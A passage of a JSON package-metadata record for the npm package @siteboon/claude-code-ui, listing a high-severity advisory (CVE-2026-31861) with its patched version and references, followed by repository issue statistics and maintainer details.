gitEmail]);\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-10T23:57:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/siteboon/claudecodeui/security/advisories/GHSA-7fv4-fmmc-86g2","https://github.com/siteboon/claudecodeui/commit/86c33c1c0cb34176725a38f46960213714fc3e04","https://github.com/siteboon/claudecodeui/releases/tag/v1.24.0","https://nvd.nist.gov/vuln/detail/CVE-2026-31861","https://github.com/advisories/GHSA-7fv4-fmmc-86g2"],"source_kind":"github","identifiers":["GHSA-7fv4-fmmc-86g2","CVE-2026-31861"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-11T00:00:11.597Z","updated_at":"2026-04-05T18:00:41.792Z","epss_percentage":0.00052,"epss_percentile":0.15899,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03ZnY0LWZtbWMtODZnMs4ABTbs","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03ZnY0LWZtbWMtODZnMs4ABTbs","packages":[{"ecosystem":"npm","package_name":"@siteboon/claude-code-ui","versions":[{"first_patched_version":"1.24.0","vulnerable_version_range":"\u003c= 1.23.0"}],"purl":"pkg:npm/%40siteboon%2Fclaude-code-ui"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03ZnY0LWZtbWMtODZnMs4ABTbs/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/@siteboon/claude-code-ui","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/@siteboon/claude-code-ui","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/@siteboon/claude-code-ui/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-04-04T15:04:05.692Z","issues_count":111,"pull_requests_count":121,"avg_time_to_close_issue":353585.36666666664,"avg_time_to_close_pull_request":383515.0,"issues_closed_count":30,"pull_requests_closed_count":41,"pull_request_authors_count":84,"issue_authors_count":75,"avg_comments_per_issue":0.6126126126126126,"avg_comments_per_pull_request":1.2644628099173554,"merged_pull_requests_count":21,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":111,"past_year_pull_requests_count":121,"past_year_avg_time_to_close_issue":353585.36666666664,"past_year_avg_time_to_close_pull_request":383515.0,"past_year_issues_closed_count":30,"past_year_pull_requests_closed_count":41,"past_year_pull_request_authors_count":84,"past_year_issue_authors_count":75,"past_year_avg_comments_per_issue":0.6126126126126126,"past_year_avg_comments_per_pull_request":1.2644628099173554,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":21,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/siteboon%2Fclaudecodeui/issues","maintainers":[{"login":"blackmammoth","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/blackmammoth"}],"active_maintainers":[{"login":"blackmammoth","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/blackmammoth"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@siteboon%2Fclaude-code-ui/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@siteboon%2Fclaude-code-ui/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@siteboon%2Fclaude-code-ui/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@siteboon%2Fclaude-code-ui/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@siteboon%2Fclaude-code-ui/codemeta","maintainers":[{"uuid":"simossiteboon","login":"simossiteboon","name":null,"email":"simos@siteboon.ai","url":null,"packages_count":4,"html_url":"https://www.npmjs.com/~simossiteboon","role":null,"created_at":"2025-09-23T01:59:29.175Z","updated_at":"2025-09-23T01:59:29.175Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/simossiteboon/packages"}]}